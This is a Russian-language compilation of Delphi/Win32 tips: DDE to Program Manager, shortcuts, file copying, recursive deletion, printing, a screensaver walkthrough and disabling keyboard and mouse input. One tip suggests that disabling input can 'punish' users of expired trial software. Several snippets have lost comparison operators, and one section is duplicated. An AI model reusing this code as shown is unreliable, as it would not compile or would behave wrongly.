С помощью Image Editor из комплекта Delphi3 создаю ресурс содержащий иконки и добавляю его в свой проект. Как известно, одна иконка в ресурсе может иметь два вида 32×32 и 16×16, которые отображаются соответственно при выборе крупных и мелких значков. Я создаю оба изображения, но после компиляции отображается только 16×16 (при крупных значках оно растягивается). Как мне сделать так, чтобы отображались обе иконки?
1. Такая штука работает только под Win 95-98, а в NT вторая икона не учитывается
2. Для редактирования подобных иконок лучше использовать либо Borlad Resourse Workshop или Visual C++ (для иконок годится но для всего остального, извините!)
Регистрация программ в меню "Пуск" Windows 95
Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь — использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов — объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:
Function TForm2.ProgmanCommand(Command:string):boolean; var macrocmd:array[0..88] of char;begin DDEClient.SetLink('PROGMAN','PROGMAN'); DDEClient.OpenLink; { Устанавливаем связь по DDE } strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку } ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false); DDEClient.CloseLink; { Закрываем связь по DDE }end;При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу)
Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы)
Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние)
Показать группу в окне, причем состояние — число, определяющее параметры окна:
1 — нормальное состояние + активация
2 — миним.+ активация
3 — макс. + активация
4 — нормальное состояние
5 — Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos — координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize — тип запуска, 0 — в обычном окне, <>0 — в минимизированном.
DeleteItem(имя раздела)
Удалить раздел с указанным именем в активной группе
Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');где path — строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');
Как программно создать ярлык?
uses ShlObj, ComObj, ActiveX;procedure CreateLink(const PathObj, PathLink, Desc, Param: string);var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile;begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE);end;Затенить кнопку «Закрыть» в заголовке формы
Следующий текст убирает команду «закрыть» из системного меню и одновременно делает серой кнопку «закрыть» в заголовке формы:
procedure TForm1.FormCreate(Sender: TObject); var hMenuHandle:HMENU; begin hMenuHandle := GetSystemMenu(Handle, FALSE); IF (hMenuHandle <> 0) THEN DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND); end;Копирование файловКопирование методом TurboPascal
Type TCallBack=procedure(Position,Size:Longint); {Для индикации процесса копирования}procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }Type PBuffer = ^TBuffer; TBuffer = array [1..BufSize] of Byte;var Size : integer; Buffer : PBuffer; infile, outfile : File; SizeDone,SizeFile: Longint;begin if (InFileName <> OutFileName) then begin buffer := Nil; AssignFile(infile, InFileName); System.Reset(infile, 1); try SizeFile := FileSize(infile); AssignFile(outfile, OutFileName); System.Rewrite(outfile, 1); try SizeDone := 0; New(Buffer); repeat BlockRead(infile, Buffer^, BufSize, Size); Inc(SizeDone, Size); CallBack(SizeDone, SizeFile); BlockWrite(outfile,Buffer^, Size) until Size FileSetDate(TFileRec(outfile).Handle, FileGetDate(TFileRec(infile).Handle)); finally if Buffer <> Nil then Dispose(Buffer); System.close(outfile) end; finally System.close(infile); end; end else Raise EInOutError.Create('File cannot be copied into itself');end;Procedure FileCopy(Const SourceFileName, TargetFileName: String);Var S,T : TFileStream;Begin S := TFileStream.Create(sourcefilename, fmOpenRead ); try T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate); try T.CopyFrom(S, S.Size ) ; FileSetDate(T.Handle, FileGetDate(S.Handle)); finally T.Free; end; finally S.Free; end;end;uses LZExpand;procedure CopyFile(FromFileName, ToFileName : string);var FromFile, ToFile: File;begin AssignFile(FromFile, FromFileName); AssignFile(ToFile, ToFileName); Reset(FromFile); try Rewrite(ToFile); try if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then raise exception.create('error using lzcopy')< code> finally CloseFile(ToFile); end; finally CloseFile(FromFile); end;end;uses ShellApi; // !!! важноfunction WindowsCopyFile(FromFile, ToDir : string) : boolean; var F : TShFileOpStruct;begin F.Wnd := 0; F.wFunc := FO_COPY; FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile); ToDir:=ToDir+#0; F.pTo:=pchar(ToDir); F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION; result:=ShFileOperation(F) = 0;end;// пример копированияprocedure TForm1.Button1Click(Sender: TObject);begin if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then ShowMessage('Copy Failed');end;Как скопировать все файлы вместе с подкаталогами
uses ShellApi;procedure TForm1.Button1Click(Sender: TObject);var OpStruc: TSHFileOpStruct; frombuf, tobuf: Array [0..128] of Char;Begin FillChar( frombuf, Sizeof(frombuf), 0 ); FillChar( tobuf, Sizeof(tobuf), 0 ); StrPCopy( frombuf, 'h:\hook\*.*' ); StrPCopy( tobuf, 'd:\temp\brief' ); With OpStruc DO Begin Wnd:= Handle; wFunc:= FO_COPY; pFrom:= @frombuf; pTo:=@tobuf; fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION; fAnyOperationsAborted:= False; hNameMappings:= Nil; lpszProgressTitle:= Nil; end; ShFileOperation( OpStruc );end;Удаление каталога со всем содержимым
{ Удалить каталог со всем содержимым }function DeleteDir(Dir : string) : boolean;Var Found : integer; SearchRec : TSearchRec;begin result:=false; if IOResult<>0 then ; ChDir(Dir); if IOResult<>0 then begin ShowMessage('Не могу войти в каталог: '+Dir); exit; end; Found := FindFirst('*.*', faAnyFile, SearchRec); while Found = 0 do begin if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then if (SearchRec.Attr and faDirectory)<>0 then begin if not DeleteDir(SearchRec.Name) then exit; end else if not DeleteFile(SearchRec.Name) then begin ShowMessage('Не могу удалить файл: '+SearchRec.Name); exit; end; Found := FindNext(SearchRec); end; FindClose(SearchRec); ChDir('..'); RmDir(Dir); result:=IOResult=0;end;Определение системной информации
Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi — программа COA):
Procedure GetInfo;Var WinVer, WinFlags : LongInt; { Версия Windows и флаги } hInstUser, Fmt : Word; { Дескриптор } Buffer : ARRAY[0..30] OF Char; { Буфер под ASCIIZ строку }begin hInstUser := LoadLibrary('USER'); { Открыли библиотеку User } LoadString(hInstUser, 514, Buffer, 30); LabelUserName.Caption := StrPas(Buffer); { Имя пользователя } LoadString(hInstUser, 515, Buffer, 30); FreeLibrary(hInstUser); LabelCompName.Caption := StrPas(Buffer); { Компания } WinVer := GetVersion; LabelWinVer.Caption := Format('Windows %u.%.2u', { Версия Windows } [LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]); LabelDosVer.Caption := Format('DOS %u.%.2u', { Версия DOS } [HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]); WinFlags := GetWinFlags; IF WinFlags AND WF_ENHANCED > 0 THEN LabelWinMode.Caption := '386 Enhanced Mode' { Режим } ELSE IF WinFlags AND WF_PMODE > 0 THEN LabelWinMode.Caption := 'Standard Mode' ELSE LabelWinMode.Caption := 'Real Mode'; IF WinFlags AND WF_80x87 > 0 THEN { Сопроцессор } ValueMathCo.Caption := 'Present' ELSE ValueMathCo.Caption := 'Absent'; Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES); ValueFSRs.Caption := Format('%d%% Free', [Fmt1]); { Свободно ресурсов } { Свободно памяти} ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 1024) + ' KB Free'; end;Как проинсталлировать свои шрифты?
Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:
{$IFDEF WIN32}AddFontResource( PChar( my_font_PathName { AnsiString } ) );{$ELSE}var ss: array [ 0..255 ] of Char;AddFontResource(StrPCopy(ss, my_font_PathName));{$ENDIF}SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);Убрать его по окончании работы:
{$IFDEF WIN32}RemoveFontResource ( PChar(my_font_PathName) );{$ELSE}RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));{$ENDIF}SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) — содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял.
Вставить какую-нибудь программу внутрь EXE файла
1. Пишем в блокноте RC-файл, куда прописываем все нужные нам программы, например:
ARJ EXEFILE C:\UTIL\ARJ.EXE2. Компилируем его в ресурс при помощи Brcc32.exe. Получаем RES-файл.
3. Далее в тексте нашей программы:
implementation{$R *.DFM}{$R test.res} //Это наш RES-файлprocedure ExtractRes(ResType, ResName, ResNewName : String);var Res : TResourceStream;begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType)); Res.SavetoFile(ResNewName); Res.Free;end;procedure TForm1.BitBtn1Click(Sender: TObject); begin // Записывает в текущую папку arj.exe ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');end;Как написать маленький инсталлятор?
Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.
Пример:
Application.Initialize;if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then Application.CreateForm(TSetupForm, SetupForm) // форма инсталлятораelse Application.CreateForm(TMainForm, MainForm); // форма основной программыApplication.Run;Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!
С помощью Image Editor из комплекта Delphi3 создаю ресурс содержащий иконки и добавляю его в свой проект. Как известно, одна иконка в ресурсе может иметь два вида 32×32 и 16×16, которые отображаются соответственно при выборе крупных и мелких значков. Я создаю оба изображения, но после компиляции отображается только 16×16 (при крупных значках оно растягивается). Как мне сделать так, чтобы отображались обе иконки?
1. Такая штука работает только под Win 95-98, а в NT вторая икона не учитывается
2. Для редактирования подобных иконок лучше использовать либо Borlad Resourse Workshop или Visual C++ (для иконок годится но для всего остального, извините!)
Работа с принтером.
Delphi имеет стандартный объект для доступа к принтеру — TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" — не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers:
PROPERTY
Aborted:boolean — Показывает, что процесс печати прерван
Canvas:Tcanvas — Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст… Тут есть несколько особенностей, они описаны после описания объекта.
Fonts:Tstrings — Возвращает список шрифтов, поддерживаемых принтером
Handle:HDS — Получить Handle на принтер для использования функций API (см. Далее)
Orientation:TprinterOrientation — Ориентация листа при печати : (poPortrait, poLandscape)
PageHeight:integer — Высота листа в пикселах
PageNumber:integer — Номер страницы, увеличивается на 1 при каждом NewPage
PageWidth:integer — Ширина листа в пикселах
PrinterIndex:integer — Номер используемого принтера по списку доступных принтеров Printers
Printers:Tstrings — Список доступных принтеров
Printing:boolean — Флаг, показывающий, что сейчас идет процесс печати
Title:string — Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати
METODS
AssignPrn(f:TextFile) — Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.
Abort — Сбросить печать
BeginDoc — Начать печать
NewPage — Начать новую страницу
EndDoc — Завершить печать.
Пример :
Procedure TForm1.Button1Click(Sender: TObject);Begin With Printer do Begin BeginDoc; { Начало печати } Canvas.Font:=label1.font; { Задали шрифт } Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст } EndDoc; { Конец печати } end;end;1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново
2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и, главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".
3. У TPrinter информация о принтере, по видимому, определяются один раз — в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.
Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter — Printer.Handle. Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;
Index – код параметра, который необходимо вернуть. Для Index существует ряд констант:
DriverVersion — вернуть версию драйвера
Texnology — Технология вывода, их много, основные
dt_Plotter — плоттер
dt_RasPrinter — растровый принтер
dt_Display — дисплей
HorzSize — Горизонтальный размер листа (в мм)
VertSize — Вертикальный размер листа (в мм)
HorzRes — Горизонтальный размер листа (в пикселах)
VertRes — Вертикальный размер листа (в пикселах)
LogPixelX — Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.
Параметры, возвращаемые по LogPixelX и LogPixelY очень важны — они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:
Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }begin PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX); PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);end;Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }begin PrinterCoordX:=round(PixelsX/25.4*x);end;Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }begin PrinterCoordY:=round(PixelsY/25.4*Y);end;---------------------------------
GetPrinterInfo;Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55), 'Этот текст печатается с отступом 30 мм от левого края и '+ '55 мм от верха при любом разрешении принтера');Данную методику можно с успехом применять для печати картинок — зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) — микроскопической.
Система Хранитель экрана
1. В файл проекта (*.DPR) добавить строку {$D SCRNSAVE <название хранителя>} после строки подключения модулей (Uses...).
2. У окна формы убрать системное меню, кнопки и придать свойству WindowState значение wsMaximize.
3. Предусмотреть выход из хранителя при нажатии на клавиши клавиатуры, мыши и при перемещении курсора мыши.
4. Проверить параметры с которым был вызван хранитель и если это /c — показать окно настройки хранителя, а иначе (можно проверять на /s, а можно и не проверять) сам хранитель. /p — для отображения в окне установок хранителя экрана.
5. Скомпилировать хранитель экрана.
6. Переименовать *.EXE файл в файл *.SCR и скопировать его в каталог WINDOWS\SYSTEM\.
7. Установить новый хранитель в настройках системы!
Название хранителя может состоять из нескольких слов с пробелами, на любом языке.
При работе хранителя необходимо прятать курсор мыши, только не забывайте восстанавливать его после выхода.
Все параметры и настройки храните в файле .INI, так как хранитель и окно настройки не связаны друг с другом напрямую.
Старайтесь сделать свой хранитель как можно меньше и быстрее. Иначе ваши долго работающие (в фоновом режиме) приложения будут работать еше дольше!
{в файле *.DPR}{$D SCRNSAVE Пример хранителя экрана}{проверить переданные параметры}IF (ParamStr(1) = '/c') OR (ParamStr(1) = '/C') THEN {скрыть курсор мыши} ShowCursor(False);{восстановить курсор мыши}ShowCursor(True);Более подробно о создании хранителя экрана "по всем правилам"
Screen Saver in Win95
Главное о чем стоит упомянуть это, что ваш хранитель экрана будет работать в фоновом режиме и он не должен мешать работе других запущенных программ. Поэтому сам хранитель должен быть как можно меньшего объема. Для уменьшения объема файла в описанной ниже программе не используется визуальные компоненты Delphi, включение хотя бы одного из них приведет к увеличению размера файла свыше 200кб, а так, описанная ниже программа, имеет размер всего 20кб!!!
Технически, хранитель экрана является нормальным EXE файлом (с расширением .SCR), который управляется через командные параметры строки. Например, если пользователь хочет изменить параметры вашего хранителя, Windows выполняет его с параметром "-c" в командной строке. Поэтому начать создание вашего хранителя экрана следует с создания примерно следующей функции:
Procedure RunScreenSaver;Var S : String;Begin S := ParamStr(1); If (Length(S) > 1) Then Begin Delete(S,1,1); { delete first char - usally "/" or "-" } S[1] := UpCase(S[1]); End; LoadSettings; { load settings from registry } If (S = 'C') Then RunSettings Else If (S = 'P') Then RunPreview Else If (S = 'A') Then RunSetPassword Else RunFullScreen;End;Поскольку нам нужно создавать небольшое окно предварительного просмотра и полноэкранное окно, их лучше объединить используя единственный класс окна. Следуя правилам хорошего тона, нам также нужно использовать многочисленные нити. Дело в том, что, во-первых, хранитель не должен переставать работать даже если что-то "тяжелое" случилось, и во-вторых, нам не нужно использовать таймер.
Процедура для запуска хранителя на полном экране — приблизительно такова:
Procedure RunFullScreen;Var R : TRect; Msg : TMsg; Dummy : Integer; Foreground : hWnd;Begin IsPreview := False; MoveCounter := 3; Foreground := GetForegroundWindow; While (ShowCursor(False) > 0) do ; GetWindowRect(GetDesktopWindow,R); CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,0); CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy); SystemParametersInfo(spi_ScreenSaverRunning,1,@Dummy,0); While GetMessage(Msg,0,0,0) do Begin TranslateMessage(Msg); DispatchMessage(Msg); End; SystemParametersInfo(spi_ScreenSaverRunning,0,@Dummy,0); ShowCursor(True); SetForegroundWindow(Foreground);End;Во-первых, мы проинициализировали некоторые глобальные переменные (описанные далее), затем прячем курсор мыши и создаем окно хранителя экрана. Имейте в виду, что важно уведомлять Windows, что это — хранителя экрана через SystemParametersInfo (это выводит из строя Ctrl-Alt-Del чтобы нельзя было вернуться в Windows не введя пароль). Создание окна хранителя:
Function CreateScreenSaverWindow(Width,Height : Integer; ParentWindow : hWnd) : hWnd;Var WC : TWndClass;Begin With WC do Begin Style := cs_ParentDC; lpfnWndProc := @PreviewWndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := 0; hCursor := 0; hbrBackground := 0; lpszMenuName := nil; lpszClassName := 'MyDelphiScreenSaverClass'; hInstance := System.hInstance; end; RegisterClass(WC); If (ParentWindow 0) Then Result := CreateWindow('MyDelphiScreenSaverClass','MySaver', ws_Child Or ws_Visible or ws_Disabled,0,0, Width,Height,ParentWindow,0,hInstance,nil) Else Begin Result := CreateWindow('MyDelphiScreenSaverClass','MySaver', ws_Visible or ws_Popup,0,0,Width,Height, 0,0,hInstance,nil); SetWindowPos(Result,hwnd_TopMost,0,0,0,0,swp_NoMove or swp_NoSize or swp_NoRedraw); End; PreviewWindow := Result;End;Теперь окна созданы используя вызовы API. Я удалил проверку ошибки, но обычно все проходит хорошо, особенно в этом типе приложения.
Теперь Вы можете погадать, как мы получим handle родительского окна предварительного просмотра ? В действительности, это совсем просто: Windows просто передает handle в командной строке, когда это нужно. Таким образом:
Procedure RunPreview;Var R : TRect; PreviewWindow : hWnd; Msg : TMsg; Dummy : Integer;Begin IsPreview := True; PreviewWindow := StrToInt(ParamStr(2)); GetWindowRect(PreviewWindow,R); CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,PreviewWindow); CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy); While GetMessage(Msg,0,0,0) do Begin TranslateMessage(Msg); DispatchMessage(Msg); End;End;Как Вы видите, window handle является вторым параметром (после "-p").
Чтобы "выполнять" хранителя экрана — нам нужна нить. Это создается с вышеуказанным CreateThread. Процедура нити выглядит примерно так:
Function PreviewThreadProc(Data : Integer) : Integer; StdCall;Var R : TRect;Begin Result := 0; Randomize; GetWindowRect(PreviewWindow,R); MaxX := R.Right-R.Left; MaxY := R.Bottom-R.Top; ShowWindow(PreviewWindow,sw_Show); UpdateWindow(PreviewWindow); Repeat InvalidateRect(PreviewWindow,nil,False); Sleep(30); Until QuitSaver; PostMessage(PreviewWindow,wm_Destroy,0,0);End;Нить просто заставляет обновляться изображения в нашем окне, спит на некоторое время, и обновляет изображения снова. А Windows будет посылать сообщение WM_PAINT на наше окно (не в нить !). Для того, чтобы оперировать этим сообщением, нам нужна процедура:
Function PreviewWndProc(Window : hWnd; Msg,WParam, LParam : Integer): Integer; StdCall;Begin Result := 0; Case Msg of wm_NCCreate : Result := 1; wm_Destroy : PostQuitMessage(0); wm_Paint : DrawSingleBox; { paint something } wm_KeyDown : QuitSaver := AskPassword; wm_LButtonDown, wm_MButtonDown, wm_RButtonDown, wm_MouseMove : Begin If (Not IsPreview) Then Begin Dec(MoveCounter); If (MoveCounter <= 0) Then QuitSaver := AskPassword; End; End; Else Result := DefWindowProc(Window,Msg,WParam,LParam); End;End;Если мышь перемещается, кнопка нажала, мы спрашиваем у пользователя пароль:
Function AskPassword : Boolean;Var Key : hKey; D1,D2 : Integer; { two dummies } Value : Integer; Lib : THandle; F : TVSSPFunc;Begin Result := True; If (RegOpenKeyEx(hKey_Current_User,'Control Panel\Desktop',0, Key_Read,Key) = Error_Success) Then Begin D2 := SizeOf(Value); If (RegQueryValueEx(Key,'ScreenSaveUsePassword',nil,@D1, @Value,@D2) = Error_Success) Then Begin If (Value 0) Then Begin Lib := LoadLibrary('PASSWORD.CPL'); If (Lib > 32) Then Begin @F := GetProcAddress(Lib,'VerifyScreenSavePwd'); ShowCursor(True); If (@F nil) Then Result := F(PreviewWindow); ShowCursor(False); MoveCounter := 3; { reset again if password was wrong } FreeLibrary(Lib); End; End; End; RegCloseKey(Key); End;End;Это также демонстрирует использование registry на уровне API. Также имейте в виду как мы динамически загружаем функции пароля, используюя LoadLibrary. Запомните тип функции?
TVSSFunc ОПРЕДЕЛЕН как:
Type TVSSPFunc = Function(Parent : hWnd) : Bool; StdCall;Теперь почти все готово, кроме диалога конфигурации. Это запросто:
Procedure RunSettings;Var Result : Integer;Begin Result := DialogBox(hInstance,'SaverSettingsDlg',0,@SettingsDlgProc); If (Result = idOK) Then SaveSettings;End;Трудная часть — это создать диалоговый сценарий (запомните: мы не используем здесь Delphi формы!). Я сделал это, используя 16-битовую Resource Workshop (остался еще от Turbo Pascal для Windows). Я сохранил файл как сценарий (текст), и скомпилированный это с BRCC32:
SaverSettingsDlg DIALOG 70, 130, 166, 75STYLE WS_POPUP | WS_DLGFRAME | WS_SYSMENUCAPTION "Settings for Boxes"FONT 8, "MS Sans Serif"BEGINDEFPUSHBUTTON "OK", 5, 115, 6, 46, 16PUSHBUTTON "Cancel", 6, 115, 28, 46, 16CTEXT "Box &Color:", 3, 2, 30, 39, 9COMBOBOX 4, 4, 40, 104, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGSCTEXT "Box &Type:", 1, 4, 3, 36, 9COMBOBOX 2, 5, 12, 103, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGSLTEXT "Boxes Screen Saver for Win32 Copyright (c) 1996 Jani Järvinen.", 7, 4, 57, 103, 16, WS_CHILD | WS_VISIBLE | WS_GROUPENDПочти также легко сделать диалоговое меню:
Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;Var S : String;Begin Result := 0; Case Msg of wm_InitDialog : Begin { initialize the dialog box } Result := 0; End; wm_Command : Begin If (LoWord(WParam) = 5) Then EndDialog(Window,idOK) Else If (LoWord(WParam) = 6) Then EndDialog(Window,idCancel); End; wm_Close : DestroyWindow(Window); wm_Destroy : PostQuitMessage(0); Else Result := 0; End;End;После того, как пользователь выбрал некоторые установочные параметры, нам нужно сохранить их.
Procedure SaveSettings;Var Key : hKey; Dummy : Integer;Begin If (RegCreateKeyEx(hKey_Current_User, 'Software\SilverStream\SSBoxes', 0,nil,Reg_Option_Non_Volatile, Key_All_Access,nil,Key, @Dummy) = Error_Success) Then Begin RegSetValueEx(Key,'RoundedRectangles',0,Reg_Binary, @RoundedRectangles,SizeOf(Boolean)); RegSetValueEx(Key,'SolidColors',0,Reg_Binary, @SolidColors,SizeOf(Boolean)); RegCloseKey(Key); End;End;Загружаем параметры так:
Procedure LoadSettings;Var Key : hKey; D1,D2 : Integer; { two dummies } Value : Boolean;Begin If (RegOpenKeyEx(hKey_Current_User, 'Software\SilverStream\SSBoxes',0, Key_Read, Key) = Error_Success) Then Begin D2 := SizeOf(Value); If (RegQueryValueEx(Key,'RoundedRectangles',nil,@D1, @Value, @D2) = Error_Success) Then Begin RoundedRectangles := Value; End; If (RegQueryValueEx(Key,'SolidColors',nil,@D1, @Value,@D2) = Error_Success) Then Begin SolidColors := Value; End; RegCloseKey(Key); End;End;Легко? Нам также нужно позволить пользователю установить пароль. Я честно не знаю почему это оставлено разработчику приложений? Тем не менее:
Procedure RunSetPassword;Var Lib : THandle; F : TPCPAFunc;Begin Lib := LoadLibrary('MPR.DLL'); If (Lib > 32) Then Begin @F := GetProcAddress(Lib,'PwdChangePasswordA'); If (@F nil) Then F('SCRSAVE',StrToInt(ParamStr(2)),0,0); FreeLibrary(Lib); End;End;Мы динамически загружаем (недокументированную) библиотеку MPR.DLL, которая имеет функцию, чтобы установить пароль хранителя экрана, так что нам не нужно беспокоиться об этом.
TPCPAFund ОПРЕДЕЛЕН как:
Type TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) : Integer; StdCall;(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, — самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.
Procedure DrawSingleBox;Var PaintDC : hDC; Info : TPaintStruct; OldBrush : hBrush; X,Y : Integer; Color : LongInt;Begin PaintDC := BeginPaint(PreviewWindow,Info); X := Random(MaxX); Y := Random(MaxY); If SolidColors Then Color := GetNearestColor(PaintDC,RGB(Random(255), Random(255),Random(255))) Else Color := RGB(Random(255),Random(255),Random(255)); OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color)); If RoundedRectangles Then RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20) Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y)); DeleteObject(SelectObject(PaintDC,OldBrush)); EndPaint(PreviewWindow,Info);End;Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:
Var IsPreview : Boolean; MoveCounter : Integer; QuitSaver : Boolean; PreviewWindow : hWnd; MaxX,MaxY : Integer; RoundedRectangles : Boolean; SolidColors : Boolean;Затем исходная программа проекта (.dpr). Красива, а!?
program MySaverIsGreat;uses windows, messages, Utility; { defines all routines }{$R SETTINGS.RES}begin RunScreenSaver; end.Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу.
Конец.
Use Val... ;-)
перевод: Владимиров А.М.
От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).
Иногда может возникнуть необходимость в выключении на время устройств ввода — клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования… Однако наилучшее ее применение — отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:
EnableHadwareInput(Enable:boolean): boolean;Enable — требуемое состояние устройств ввода (True — включены, false — выключены). Если ввод заблокирован, то его можно разблокировать вручную — нажать Ctrl+Alt+Del, при появлении меню "Завершение работы программы" ввод разблокируется.
А вот еще интересный прикол.
Включение/выключение монитора программным способом.
Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.
Отключить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);Включить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);Для переключения языка применяется вызов LoadKeyboardLayout:
var russian, latin: HKL; russian:=LoadKeyboardLayout('00000419', 0);latin:=LoadKeyboardLayout('00000409', 0);-- -- -- -- -- где то в программе --- --- ---
SetActiveKeyboardLayout(russian);Вот, может поможет:
>1. Setup.bat
=== Cut ===
